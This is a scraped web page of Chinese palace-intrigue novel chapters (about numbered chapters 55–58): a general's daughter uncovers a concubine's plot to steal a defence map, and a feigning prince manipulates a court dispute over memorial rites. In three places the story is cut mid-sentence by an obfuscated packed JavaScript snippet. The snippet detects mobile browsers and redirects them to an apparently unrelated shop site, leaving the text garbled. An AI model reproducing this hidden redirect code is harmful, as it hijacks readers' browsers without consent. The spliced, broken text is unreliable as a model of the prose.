;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938041|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“小姐当真是聪慧。不过小姐大可放心，我既是老夫人派在你身边的人，自然是以你为主子，断不会做出背叛主子的事，况且老夫人也不会害你。” “及如此，”汀竹端起温热的茶杯，浅啜了一口，湿热的氤氲晕染了她眸底波澜的深沉，随后便淡淡抬眼看向胡舟，“香粉的事暂且压下，莫要声张，也不必再查，守好府里的动静，但凡周姨娘院里的人进出我院落，或是接触母亲身边伺候的人，都一一记清，即刻禀报。” 胡舟躬身应诺：“小的记下了，定不敢懈怠。” 待胡舟退下，暖居阁内只剩她与锁秋二人，烛火跳动映着汀竹凝沉的眉眼，锁秋方按耐不住的忧色尽数浮上脸，压低声音道：“小姐，你说这胡舟能靠得住吗？” 汀竹缓缓啜了口热茶，神色清冷：“他是老夫人的人，忠心中老夫人身上，却也懂得审时度势。只要他不坏事，便是可用之人。” 锁秋闻言眉心仍拧着疙瘩，指尖攥紧了腰间的锦帕，声音又低了几分：“可他毕竟要向老夫人回话，小姐对付周姨娘的法子，若是传到老夫人耳朵里，万一老夫人念着府中体面，拦着小姐可如何是好？先前老夫人不也总说，家丑不可外扬吗？” 汀竹放下茶杯，杯底与案几相触，发出一声轻脆的响，她抬眸时，眼底的清冷散了些，多了几分通透笃定：“老夫人要的是将军府的根基安稳，不是一味的粉饰太平。周姨娘暗害她，伤及母亲，本就犯了府中大忌，老夫人心里跟明镜似的，从前不吭声，不过是没抓着实锤，也不愿轻易动府里的内眷，落个苛待妾室的名声。” 她抬手拨了拨烛芯，跳动的火光映得她半边脸颊明灭不定，语气又沉了些：“胡舟就算禀报，也只会据实说府中动静，不会妄议我的心思。” “老夫人纵是顾全体面，也绝不会护着一个害过她的人，我们只需沉住气，等着周姨娘再露马脚便是。” 锁秋听得这话，心头的大石总算落了半截，指尖松开锦帕，鬓角的冷汗也悄悄拭去，低声应道：“还是小姐看得透彻，是奴婢太过忧心，乱了分寸。” 汀竹望着烛火跃动的光影，眸底无半分波澜，只淡淡道：“府中内宅不比外头，一步错便是满盘皆输，你忧心也属应当，只是往后遇事莫要慌，稳住心神才能辨明局势。” 锁秋连连点头，伸手将汀竹手边的茶盏添满温热的茶水，又轻手轻脚拢了拢炉中炭火，暖阁里的暖意愈发浓郁，衬得烛火的光晕更显柔和。她垂眸看着案上摊开的崇文轩课业笺，轻声道：“小姐明日还要早起习字，奴婢这就去铺床备水，你早些歇着，夜里若有动静，奴婢守着便是，断不会扰了你的眠。” 汀竹颔首，目光落在笺上的字迹，却未再多看，只抬手揉了揉眉心，连日的奔波与筹谋，纵是心思沉稳，也难掩周身的倦意。 待锁秋收拾妥当退至外间耳房，暖居阁里只剩烛火噼啪的轻响，她缓步走到窗边，推开半扇窗棂，晚风带着夜露的清寒涌入，吹散了一室的暖意，也让混沌的思绪清明了几分。 院中月色皎洁，树影婆娑，她望着不远处周姨娘院落的方向，那里灯火昏暗，透着几分沉寂，可汀竹心中清楚，那沉寂之下，定是藏着暗流涌动。 周姨娘既敢在香粉里动手脚，害宋夫人多年缠绵病榻，便不会就此收手，若是被她察觉宋夫人并未用那安神香，必定当另寻门路，再下毒手。 56. [锁] 该章节由作者自行锁定 皇城正中，太极殿。 残秋之日，太极殿映着疏朗天光，殿内香烟袅袅却静得落针可闻，距先帝忌辰仅剩五日，朝野上下皆在规整祭典仪轨，早朝之上议事便绕不开这桩头等大事。 吏部侍郎李仲清位列文臣班列，见陛下询及忌辰仪轨筹备事宜，当即便整冠出列，朝龙骑上的宣帝躬身行礼，声线沉稳持重，字字掷地：“陛下，先帝忌辰将至，祖制祭典需宗亲主祭，太子乃国之储君，承宗庙之重，端王素有仁孝之名，且又三年军工。” “臣请以吏部职权凑禀，令太子与端王共同主祭，一则显皇家兄弟敦睦，二则壮祭典威仪，以慰先帝在天英灵。” 奏言既出，殿中一时寂然，百官窃窃私语。太子立身御座侧旁，玄色太子蟒袍衬得身姿挺拔，面上依旧是端方平和的模样，眼底却掠过一丝极淡的沉郁，眉峰几不可察地蹙了下，转瞬便抚平，只垂在身侧的手悄然攥紧，目光落在阶前青砖上，不见半分波澜，唯有眼底深处藏着几分不甘。 祭典主祭向来是储君专属，岂是旁人能共分的？ 另一侧的端王本垂眸肃立，闻言猛地抬眼，神色里满是微微的诧异，眸光倏然亮了些许，随即又敛了锋芒，唇角微动，似是意外这提议竟会落在自己身上，连忙欠身，面上带着几分惶惑，未有多言，只静静候着陛下圣裁。 “臣附议。”齐太傅当即出列，花白长须垂落，“李侍郎所言极是。太子主祭承宗庙，端王协祭睦宗亲，合情合礼，更显我朝仁孝之风，于国于家皆有益，陛下当准。”他躬身之时，目光扫过端王，带着几分提点之意，端王抬眸看去，微微颔首回应。 “臣不赞同。”户部尚书姜禹紧接着跨步出列，语气沉笃，毫无转圜，“祖制明定，先帝忌辰祭典，唯储君一人主祭，旁支宗亲至多陪祭，岂有同为主祭之理？端王虽贤，终究是亲王，若破了祖制，日后祭典规矩如何维系？恐生乱象，臣请陛下以祖制为重，驳回此议。” 两派各执一词，针锋相对，殿内议论渐起。赵相立于百官之首，紫袍玉带加身，神色满是无奈，他本就站队太子，既不愿公然驳斥德高望重的太傅，也不能违逆祖制落下诟病，更怕争执过烈激化太子与端王的嫌隙，累及朝局。 思忖片刻，他只得硬着头皮出列，躬身道：“陛下，臣以为，太傅与姜尚书所言各有其理，不必执着于‘同为主祭’一说。不如稍改祭祀流程，太子殿下执掌奠酒、读祝等核心仪轨，承主祭之责，端王殿下旁侧襄助，司捧帛、献爵诸事，既全了端王的孝心，亦不违储君主祭的规制，还请陛下圣裁。”这番话看似居中调停，实则是偏护太子，以改流程的方式，驳回了端王同为主祭的提议。 此言一出，殿中窃窃私语渐起，不少朝臣面露迟疑，赵相执掌中枢多年，此番提议看似为太子立威，实则是暗削端王礼制上的分量，更隐隐有改动祖制祭程的心思，李仲清欲再辩驳，陛下尚未开口，内监已轻声入殿，在陛下耳畔低语数句，言是太后宫中遣人传话，说偶感风寒，盼陛下退朝后至寿康宫一叙。 宣帝颔首，暂且搁置朝堂议争，散朝后便移步寿康宫。 寿康宫内暖炉烧得正旺，熏着清苦的檀香，正是先帝生前所爱，太后斜倚在软榻上，面色虽有倦色，眼神却清明锐利，见陛下落座，便屏退左右，语气平和却带着不容置喙的笃定：“陛下方才散朝，朝堂上关于先帝忌辰主祭的事，哀家已然知晓了。” 宣帝应声：“母后消息倒是快，丞相奏请改易祭典流程，李仲清请太子与端王共主祭，儿臣正斟酌权衡。” 太后抬手抚了抚腕间赤金镶绿玉镯，镯身纹着先帝当年亲赐的缠枝莲纹，语气添了几分郑重：“先帝忌辰，最要紧的是循祖制、表孝心，而非逞威仪、改旧规。当年先帝在位时，每逢先祖忌辰，皆是储君与宗室亲王共主祭，执帛、献祭、读祝文，一步不曾错漏，这是列祖列宗传下的规矩，岂能说改就改？” “太子是国本，端王是亲王，二人共主祭，一则显手足和睦，二则彰皇家孝悌，于国于家皆是好事。” 她顿了顿，看向宣帝，语气温和了些，却句句点在要害：“丞相掌中枢，操心实务是分内事，可祭典是国之礼制，关乎先祖颜面，若因私意改了流程，传出去难免让人说皇家轻祖制、重权柄，反倒不美。” “哀家知道陛下难决，只是先帝泉下有知，定然也盼着祭典依着旧例来，不添半分改动。” 太后这番话，软中带硬，既点破了赵相更改流程的私心，又以祖制和先帝遗愿为引，句句敲在陛下心上。陛下本就念及先帝，又深知太后素来谨守祖制，且在宗室之中威望甚高，这番话无疑是定了调子。 次日早朝，陛下便颁下旨意，准李仲清所奏，令太子与端王依祖制共同主祭先帝，祭典仪轨悉遵旧例，分毫不得更改。 赵相见状，知晓太后已然在陛下面前递了话，祖制既定，陛下心意已决，便也敛了更改流程的心思，躬身领旨。 朝堂之上尘埃落定，只剩宫人愈发紧锣密鼓地规整祭器、清扫陵寝，静待忌辰之日，以全这场循礼尽孝的大典。 五日之后，先帝忌辰至。 残秋露重，天未破晓，星月犹悬挂，皇陵周遭苍松翠柏凝着露水，肃穆森然。先帝陵前已陈列妥当祭祀器具，青铜鼎列阵两侧，香案上供着祭品，香烛齐备，白幡垂落，风过之时簌簌作响，衬得周遭愈发静穆无哗。 宗室亲贵、文武百官按品阶肃立陵前，玄色朝服与素色祭服相映，衬得场面愈发庄重，距吉时仅剩一刻。 太子一身玄色祭服，领口绣有暗纹蟒纹，身姿端挺，面容端方从容，只是眼底沉郁比往日更甚几分，垂眸时眼睫微微一颤。昨夜丞相密函召，言端王党羽恐借祭典生事，今日需步步谨守，他攥着玉圭，余光扫过身侧的端王，对方一身同着素色祭服，身姿挺拔，神色庄重，眼底却藏着几分难掩的清明。 宸王箫凛立在宗亲列中，一身玄色祭服外罩着同色披风，身形看着比寻常宗室子弟单薄些，唇色泛着浅淡的青白没，似是禁不得晨露寒凉，不时轻咳两声，帕子掩在唇前，眉眼间尽是孱弱之态，唯有垂落的袖口下，指尖悄然叩了叩玉佩。 齐太傅暗中联络御史中丞周彦，欲借江南赋税之事弹劾丞相与姜禹时，他便已遣人潜往江南，搜集了各州流民聚于衙前、百姓怨声载道的实证，连夜递至周彦案头，为太傅这场筹谋，悄悄添了一把燎原之火。 吉时到，钟鸣三响，礼官唱喏声划破寂静。太子与端王并肩上前，依祖制共同主祭，奠酒、献帛、读祝文，仪轨分毫未差。 宣帝端坐陵前御座，神色肃穆，目光扫过陵前诸人，落在太子沉稳的动作上，又掠过端王恭谨的姿态，最终停在咳得微微躬身的宸王身上，眉宇间掠过一丝浅淡的关切。 祭典核心仪轨刚毕，百官正待随陛下行拜谒之礼，御史中丞周彦忽的越班而出，撩袍跪地，声音响彻，打破了陵前的肃穆：“陛下，臣有本奏！江南各州今夏遭涝，颗粒无收，民生凋敝，然丞相与户部尚书罔顾百姓疾苦，私议加征江南赋税三成，充作祭典用度，实则中饱私囊，州县百姓怨声载道，已有流民聚于州府衙前，臣查得实据，恳请陛下彻查此事，严惩主事之人，以安江南民心！” 此言一出，陵前哗然。百官窃窃私语的声音压不住地冒出来，端王猛地抬眸，看向跪地的周彦，又飞快敛了神色，垂眸作哀戚状，眼底却掠过一丝了然。 吏部侍郎李仲清紧随其后出列，躬身附议：“陛下，周中丞所言非虚。臣近日亦收到江南属官密报，赋税加征后，多地民生维艰，丞相与姜尚书此举，既违体恤百姓的祖训，又有擅权越矩之嫌，臣请陛下准周中丞所奏，彻查加征赋税一案！” 齐太傅捋着花白长须，缓步出列，神色凛然：“陛下，祭典用度自有内库拨付，何须加征百姓赋税？丞相身为百官之首，姜尚书执掌户部，不思纾解民困，反倒趁先帝忌辰之际盘剥地方，此举寒了宗室之心，失了百姓信任，臣亦附议彻查，以正朝纲！”三人一唱一和，矛头直指丞相与户部尚书，太子一派朝臣顿时色变，不少人面露焦灼，看向丞相与姜禹。 户部尚书姜禹面色涨红，当即跨步出列，厉声辩驳：“陛下明察！江南赋税加征，绝非臣与丞相私议，乃是因今年漕运受阻，国库空虚，祭典所需祭器、陵寝修缮，外加北伐军饷亟待拨付，万般无奈之下才议定暂加赋税，且所征赋税皆入账册，有据可查，何来中饱私囊之说？周中丞凭空弹劾，怕是别有用心！” 赵相亦上前一步，神色镇定，躬身奏道：“陛下，姜尚书所言属实。加征赋税之事，臣确曾与姜尚书商议，然事前已拟折奏请，只是陛下连日忙于祭典筹备，尚未批复，臣念及北伐军情紧急，才先行调度，绝非擅权。太傅与周中丞、李侍郎此刻于先帝陵前弹劾，不顾祭典肃穆，实则是借国丧构陷朝臣，离间君臣，还请陛下明辨。” 他话音刚落，太子亦适时开口，声音清朗，带着储君的沉稳：“父皇，儿臣近日亦曾听闻北伐军饷告急之事，丞相素来以国事为重，断不会因私废公。江南涝灾，儿臣以为可暂缓赋税征收，待来年收成好转再行补足，既解国库燃眉之急，又体恤百姓疾苦，两全其美。” 太子此言既出，太子一派朝臣纷纷附议，朝堂两派的争执渐缓，宣帝眉头微蹙，目光在争执的几人之间流转，半晌未语，忽然看向宗亲列中依旧咳着的宸王，语气添了几分温和：“凛儿，你素来心思通透，此事你怎么看？” 众人目光齐齐投向宸王。 萧凛微微躬身，姿态恭谨，又轻咳了两声，声音带着病态的虚弱，眉眼间满是恭顺：“父皇，儿臣自小体弱，常年汤药不离身，朝堂政务、地方民情一概不曾涉猎，实在懵懂无知。今日乃先帝忌辰，唯循礼尽孝为要，朝堂诸事，父皇圣明烛照，自有决断，儿臣全听父皇吩咐便是。”说罢，他微微垂首，掩去眼底一闪而过的精光。 他要的从不是表态，而是坐观两派制衡，如今火势已燃，不必再添半分痕迹。 宣帝闻言，眼中关切更甚，摆了摆手道：“罢了，你身子弱，不必多言，一旁歇息便是。”言毕，他看向殿中百官，神色渐定，沉声道：“江南赋税加征之事，既未批复，便即刻叫停，江南涝灾州县，今年赋税全免，国库空缺由内库填补，北伐军饷即刻拨付。丞相与姜尚书虽无擅权之心，然行事急躁，罚俸三月，以儆效尤。周中丞心系百姓，虽时机不当，然初心可嘉，不予追究。” 旨意颁下，两派皆无异议，齐太傅捋着长须，神色淡然，李仲清与周彦对视一眼，亦躬身领旨。 礼官再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949809|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度唱喏，祭典续行，青烟缭绕间，百官跪拜于陵前，山呼先帝圣明，太子身姿挺拔，躬身行礼时，眼底沉郁稍散，丞相与姜禹并肩而立，暗暗松了口气。 萧凛立在宗亲之中，依旧是那副孱弱模样，随着众人躬身叩拜，袖口下的手指缓缓舒展，晨露落在他的披风上，转瞬消融，无人知晓，这场陵前风波，皆有他暗中推波助澜的手笔。 祭典礼毕，宗室亲贵随宣帝返程，半途各府车驾便分道而行。 宸王府的马车碾过京城晨露未干的青石长街，车帘低垂，隔绝了外界天光，车内暖炉煨着淡淡的檀香，驱散了陵前的寒凉。 萧凛斜倚在软榻上，褪去厚重祭服换了件月白锦袍，面上那病态的青白未消，却比陵前少了几分刻意的孱弱，又把玩着那把墨兰折扇，眸底精光流转，不复方才的恭顺懵懂。 车驾入了宸王府门，萧凛被侍从轻扶下车，刚踏过垂花门，便见廊下立着一道挺拔身影。 谢玦一身玄色常服，腰束玉带，身姿俊朗，见他归来，快步上前，目光先落在他微白的唇色上，语气带着几分戏谑又藏着关切：“这病态模样装得好挺像的？陵前那几声咳，连陛下都动了恻隐，旁人更不必说。” 萧凛白了他一眼，未接话，胸口却骤然隐隐作痛，呼吸微促。侍从隐夜见状，连忙从怀中掏出一枚蜡封药丸递来，萧凛接过仰头吞下，闭目调息片刻，面色才稍稍缓过来。 “那毒又发作了？”谢玦脸上的戏谑尽数褪去，眉头紧蹙，语气里满是凝重。 萧凛缓缓颔首，神色淡然，似是早已习以为常。谢玦望着他苍白依旧的面容，重重叹了口气，眼底翻涌着复杂心绪，有担忧，更有毅然笃定的决心。 他深知晓萧凛活至今日，执念唯有一桩，便是为姨母昭雪复仇，扳倒如今稳居后位、权倾后宫的赵皇后。只忧心他满腔孤勇与凌云志，未等手刃仇敌、得偿所愿，便先被这副孱弱不堪的躯壳拖累禁锢，最终困死半途，空留遗恨。 因此，寻药解他之厄，助他了却心愿，他谢玦，势在必行。 二人并肩入了内院的听竹苑，轩内暖炉烧得正旺，案上摆着新沏的碧螺春，水汽氤氲。侍从奉茶后退下，苑门轻阖，隔绝了内外，没了旁人顾忌。 谢玦率先落座，端起茶盏却未饮，抬眸看向萧凛，眼底带着了然的锋芒：“你今日陵前的一语，倒是让太傅与丞相两派都落了台阶，陛下那道旨意，看似各打五十大板，实则是压下了太傅借赋税案扳倒丞相的心思，倒是妙极。” 萧凛缓步走到案前落座，指尖捏着茶盖，轻轻刮去浮沫，动作闲适，眉眼间的孱弱淡去大半，只剩几分沉静的算计：“太傅急于为端王铺路，选在先帝忌辰，本就落了下乘。丞相虽行事急躁，却占了北伐军饷的大义，太子从中调停，亦是想保丞相这颗左膀右臂，陛下最忌朝堂一派独大，自然要各打五十大板，制衡朝局。我若此时表态，不论偏哪一方，皆是引火烧身，倒不如做个‘懵懂体弱’的闲人，坐观其变。” 他抬眸看向谢玦，唇角勾起一抹浅淡的弧度，那笑意却未达眼底：“江南流民的实证，你递去周彦案头时，倒还干净？” 谢玦唇角微扬，语气笃定：“你放心，遣去江南的人皆是侯府死士，行事不留痕迹，只将实证匿名送至周彦处，任谁也查不到宸王府头上。李仲清本就与太傅一党，周彦得实证，必然会借祭典发难，这把火，烧得正好。” “烧得好，却不能烧太旺。”萧凛呷了一口清茶，暖意漫过喉间，眸色沉了沉，“丞相根基深厚，执掌中枢多年，绝非一朝一夕能扳倒的；太子虽有储君之位，却忌惮端王兵权与太傅势力，处处掣肘；端王今日陵前看似置身事外，眼底的了然瞒不过人，他定然知晓太傅是为他铺路，想借赋税案削弱太子羽翼，坐收渔利。” “三方制衡，才是最稳妥的局面。” 谢玦颔首，想起陵前情景，又道：“端王与太子共主祭，太后这步棋倒是出人意料，听闻昨日太后召陛下入寿康宫，一语定音，驳回了丞相改祭典流程的提议，这是摆明了要抬举端王分太子之权，你早料到了？” “皇祖母素来谨守祖制，却最懂朝堂权衡。”萧凛声响轻缓，却字字清晰，眼底翻涌着未显于外的野心，“太子近年羽翼渐丰，丞相倾力辅佐，皇祖母身为先帝遗孀，既不能废储，便只能抬举端王，以宗亲之势分太子之权，保皇家无旁落之虞。她要的是手足敦睦的虚名，却不知这虚名之下，太子与端王的嫌隙只会更深，这朝堂，只会更乱。” 说到此处，他抬眸看向谢玦，眸底是毫不掩饰的锋芒，那是蛰伏多年的野心终于显露的一角，语气带着不容置疑的期许，更有知己间的坦诚：“这乱象，便是你我之机。” 谢玦眼中骤然亮起精光，起身拱手，身姿挺拔如松，语气坚定决绝，字字掷地有声，是对萧凛野心的回应，更是毕生的承诺：“景珩放心，侯府上下，皆听你差遣。你要的是执掌乾坤，我便为你扫清前路荆棘，筹谋四方，助你得偿所愿。” 萧凛望着他眼底的赤诚与笃定，唇角的笑意终于真切了几分，缓缓颔首。 窗外竹影婆娑，苑内茶香袅袅，暖光映着二人身影，一个蛰伏待发，一个倾力相助，朝堂的这盘大棋，从陵前的那场风波起，便早已然落入他们的掌控之中。 57. 跟踪 先帝忌辰，崇文轩休沐。 府中无往日喧嚣，连洒扫的仆妇都敛了声气，踩着轻步往来，檐下悬着的素色布幔被风吹得轻晃，添了几分沉郁。 汀竹晨起跟着母亲行过祭礼，就回房中歇了片刻，便让锁秋交她绣活，学了一刻后便感手头绣活滞涩，便带着锁秋起身往沁香园里透透气，刚转过抄手游廊，就瞥见周姨娘的身影。 往日里周姨娘最讲究仪态，便是私下走动，也是鬓发整齐、步履从容，今日却不同。她卸了珠钗，只簪得一支素银簪子，素色的衣裙下摆还沾了些泥点，显然走得急切，手里攥着一方折得紧实的锦帕，头也不回地往府中偏僻的后院去，连贴身伺候的梨画都没带，脚步仓促得几乎要小跑起来。 “小姐，姨娘这是去哪？看着好生着急。”锁秋瞧着周姨娘那步履匆匆的模样，忍不住对汀竹说着。 “走去看看。” 二人随着周姨娘所走的方向，悄然跟了上去。 不知不觉便走到府中后院，这后院是汀竹每次出府的必经之路，但她白天却没见过这里的全貌。 听锁秋说，这后院原是早年些府里堆放杂物的地方，院墙年久失修，只留一道窄门通向府外的僻静小巷，平日里极少有人踏足。 锁秋小声道：“奇怪，周姨娘素日爱热闹，从不来这荒僻处。” 汀竹闻言心下生疑，悄声提了提裙摆，借着墙根的老槐树与丛生的草木作遮掩，蹑手蹑脚跟了上去，脚步放得极轻，锁秋也紧跟着她的步伐。 行至离后院门数丈远的老槐树后，汀竹便停了脚，借着树身遮挡身形，抬眼望去，只见后院那道斑驳的木门虚掩着，周姨娘正立在门内，对面站着一个陌生男子，一身粗布衣裳，头戴帷帽，帽檐压得极低，看不清面容，只露出下颌一道浅疤，身形挺拔，周身透着一股紧绷的冷意。 看这身形，汀竹就知这人不是周姨娘的亲弟周朗，却也不似寻常的贩夫走卒。 “你怎敢此时来？”周姨娘的声音压得极低，却难掩急切，手中的锦帕被攥得起了皱，眼神往四周飞快扫了一圈，“今日是先帝忌辰，府中虽休沐，却处处都是眼镜，若是被人撞见，咱俩都得死！” “说吧，主子又有什么命令？” 那男子抬了抬下巴，声音粗哑，带着几分不耐，却也刻意放轻了语调，字句冷硬：“要你一月之内拿到城中布防图。” 周姨娘往后缩了缩，指尖不自觉的绞着锦帕，语气里多了几分惶然：“一月之内？哪有这般容易，这布防图乃是将军府重中之重，老爷素来谨慎，白日里锁在书房暗格中，入夜才带至内寝，贴身保管。” “且这些时日府中大小姐不知怎的，处处与我作对，我连近身老爷的机会都少，何况是进书房？？” 男子喉间发出一声冷嗤，帽檐下的目光沉沉扫过来，下颌的浅疤随着咬牙的动作微微动了动：“少找借口！你这将军府的姨娘位置怎么来的，你心里清楚，如今主子要你取一张布防图，你便要推三阻四，莫不是想反水？” 周姨娘脸色骤白，慌忙摆手，“不敢！我绝不敢反水！只是眼下实在棘手，容我处理掉那对母女，坐上主母之位，不出三个月定能将布防图双手奉上！” “三个月？”男子语气陡然沉了几分，周身冷意更甚，“那便给你三个月，耽搁一日便是杀祸之身，不仅你自身难保，你周家上下，怕是也活不成。” 这话如惊雷炸在周姨娘耳边，她身子晃了晃，面上血色尽褪，踉跄着扶住身旁斑驳的墙垣，半晌才咬着唇，眼底翻涌着恐惧与决绝：“我知道了......三个月内，我必定给你送来。只是你切记，往后莫要这般冒失闯来，今日侥幸无人撞见，下次再这般，便是神仙也救不了咱们！” 男子沉默片刻，粗哑的声音没半分波澜：“主子已免去周家欠皇庄的债，还望你莫要让主子失望。东西备好后，依旧在此处交接，暗号照旧。”说罢，他又警惕地往巷口扫了一眼，确认无人，才对周姨娘抬了抬下巴，示意她退去。 周姨娘攥着锦帕的手松了又紧，深深吸了口气，压下心头的慌乱，再没多言，转身快步退回院内。 她脚步依旧仓促，却刻意放轻了声响，走到那道斑驳的木门前，伸手将门轻轻合拢，门轴转动间发出一声极轻的“吱呀”，在这寂静的后院里格外清晰。 她又抬手推了推，确认门已关严，才拢了拢素色衣裙的下摆，低头匆匆往内院方向去了，裙摆上的泥点随着脚步轻晃，愈发显得狼狈。 门外的男子待院门合拢，依旧立在原地片刻，帽檐下的目光扫过院墙周遭的草木，周身紧绷的气息丝毫不减。 片刻后，他转身，脚步沉稳地拐进巷尾的阴影里，身形挺拔如松，虽着粗布衣裳，却无半分乡野气，反倒透着一股久经训练的利落，转眼便消失在小巷深处。 槐树后的锁秋早已惊得捂住了嘴，眼眶瞪得溜圆，指尖都在发抖，待那男子走远，才压低声音，带着后怕与难以置信对汀竹道：“小姐！周姨娘她……她竟私通外人，还要偷将军府的布防图！这要是被老爷知道，可是诛九族的大罪啊！” 汀竹立在树后，指尖紧紧扣着老槐树粗糙的树皮，指节泛白，方才二人的对话字字句句砸在心头，让她心头发沉。 她抬眼望着那男子消失的方向，眸色沉沉，不见半分波澜，半晌才转头对锁秋沉声吩咐：“此事事关重大，万万不可声张。你先回暖居阁，关好门窗，不许对任何人提及今日所见，我去去就回。” 锁秋虽满心惶恐，却素来听汀竹的话，忙用力点头，又担忧地看了看她：“小姐，你一个人去，可要当心些。” “无妨。”汀竹轻轻颔首，目光再次投向那幽深的小巷，待锁秋的身影隐入草木之后，才敛了裙摆，借着墙角的阴影，悄无声息地跟了上去。 那小巷幽深，两侧皆是高宅院墙，墙头爬着枯褐的藤蔓，风卷着败叶簌簌落下来，衬得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965172|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周遭愈发静得骇人。汀竹敛着气息，足尖点地，步子迈得又轻又疾，远远缀在那男子身后数丈外，不敢靠得太近。 男子脚步极稳，步幅匀称，不似寻常赶路那般急慌，反倒带着章法，每走一段路，便会骤然停步，抬手掀开帷帽边缘，飞快扫过前后巷口，下颌的浅疤在天光下一闪而逝。方才在院门外还带几分不耐，此刻周身只剩冷硬的紧绷，粗布衣袍下的肩背绷得笔直。 汀竹看得心下凛然，忙借着巷边废弃的柴垛、断墙遮掩身形，待男子再度迈步，才悄然跟上。 巷头老槐树的浓荫深处，明霄斜倚在树干上，玄色衣袍的下摆隐在败叶丛中，几乎与阴影融为一体。 隐夜跟着殿下去了陵园，今日他无趣便来瞧瞧这宋府，却不料一来便撞见了方才后院门旁的光景，只是相隔甚远，风传声碎，没能听清几人的言语。 起初见一位妇女行色诡异，他尚只是存了几分好奇，待瞧见宋家大小姐屏气凝神尾随那陌生男子，素净的裙裾扫过巷间碎石却浑然不觉，一双平日里澄澈温润的眼眸，此刻只剩沉沉警惕。 他眼底的讶异便化作了深思，旋即敛了周身气息，足尖轻点地面，悄无声息缀在了她的身后。 明霄隔着两丈远近，目光稳稳落着汀竹的背影上。她今日因行祭礼，穿的是一身素绫裙，裙摆未绣纹样，只腰际系了条同色软带，风吹过时裙角轻扬，露出一截纤细白皙的脚踝，踩着一双素色绣鞋，踏在积叶上无声无息。 她的发间亦无珠翠，只挽了个简单的髻发，簪着一支素银簪，鬓边几缕碎发被风拂动，她却浑然未觉，所有的注意都凝在前方那道粗布身影上，连脚步的起落都循着那男子的节奏，错落有致，竟无半分闺阁女子的慌乱。 前方那陌生男子似是察觉到什么，忽然顿住脚步，猛地转头扫向身后，帽檐下的目光如鹰隼般锐利，扫过巷中柴垛、断墙，最后落在汀竹藏身的那处矮墙之后。 汀竹心头一紧，当即矮身贴紧墙面，将身形彻底隐在墙后阴影里，连呼吸都凝在了胸口。明霄见状，足尖一点，身形倏然掠至旁侧的老藤架下，借着虬结的枯藤遮掩，目光却依旧锁着那男子与汀竹的方向。 他瞧着那男子警惕地伫立片刻，似是未曾察觉异样，才又转身快步前行，脚步较之前又快了几分，肩头绷得更紧，显是急于脱身。 待那男子的身影拐过巷尾的拐角，汀竹才缓缓松了口气，扶着墙面悄然起身，拍了拍裙摆上的浮尘，又凝神听了片刻，确认无异常，才再度提步跟上，身影很快没入巷尾的暗影之中。明霄望着她纤细却坚定的背影，眉峰微蹙，下颌线条绷紧了几分。 听闻宋家大小姐性子素来软弱，今日这般孤身涉险，那粗布男子与周姨娘的密谋，定然藏着惊天秘密。 他略一思忖，不再迟疑，提步追了上去，玄色身影掠过巷间暗影，如影随形，不紧不慢地缀在汀竹身后，既不会扰她，或许还能替殿下打听到什么消息。 58. 救命 巷尾拐出去，便是一条更僻静的横街，青石板路经年累月被车轮碾出浅痕，两旁多是闭户的空宅，偶有几户人家，亦是因先帝忌辰闭门守制，连犬吠声都无半分，四下里静得落针可闻。 那男子脚下不停，步速愈发疾促，帷帽的垂幔被风掀得微扬，露出下颌冷硬的线条，浅疤在天光下泛着淡白，他却浑然不觉，只径直往西街口走去。 汀竹依旧与他隔着数丈之遥，踩着墙根的阴影疾行。她不敢走青石板中央，怕脚步声惊动人，只拣着墙根长草处落脚，草叶摩挲裙摆，簌簌轻响被风卷走，半点不显眼。她眸光紧紧锁着前方那道粗布身影，心头翻涌着周姨娘方才的话。 处理掉那对母女、取布防图、周家欠皇庄的债，这桩桩件件背后，分明藏着惊天的布局。汀竹暗自思量，若能跟着这男子，寻到他口中“主子”的踪迹，便能勘破这盘暗棋的幕后之人。 身后的明霄脚步更轻，玄色衣袍与巷陌阴影相融，几乎无从分辨。他目光落定在汀竹的背影上，见她素裙沾了草屑泥点，却半点不停歇，纤细的身影在空旷的横街上显得格外孤绝，却无半分退缩之意，眉峰蹙得更紧。 他瞧着汀竹一介弱女子，怕是难以应对，遂悄悄将距离又拉近了一尺，指尖悄然按在腰间长刀的刀穗上，随时能出手相护。 不多时，那男子行至西街口，街角停着一辆不起眼的青布马车，车帘低垂，辕马套着粗布挽具，连马具上的铜环都裹了布，行走时不会发出声响。驾车的是个面生的壮汉，裹着灰布短袄，垂着头似在打盹，可眼角却时不时往街口瞟，神色警惕得很。 男子行至马车旁，并未立即上车，反倒转身陡然扫向整条横街，帽檐下的目光如寒刃扫过整条横街，自墙角树影，乃至墙根的杂草丛皆不曾放过。 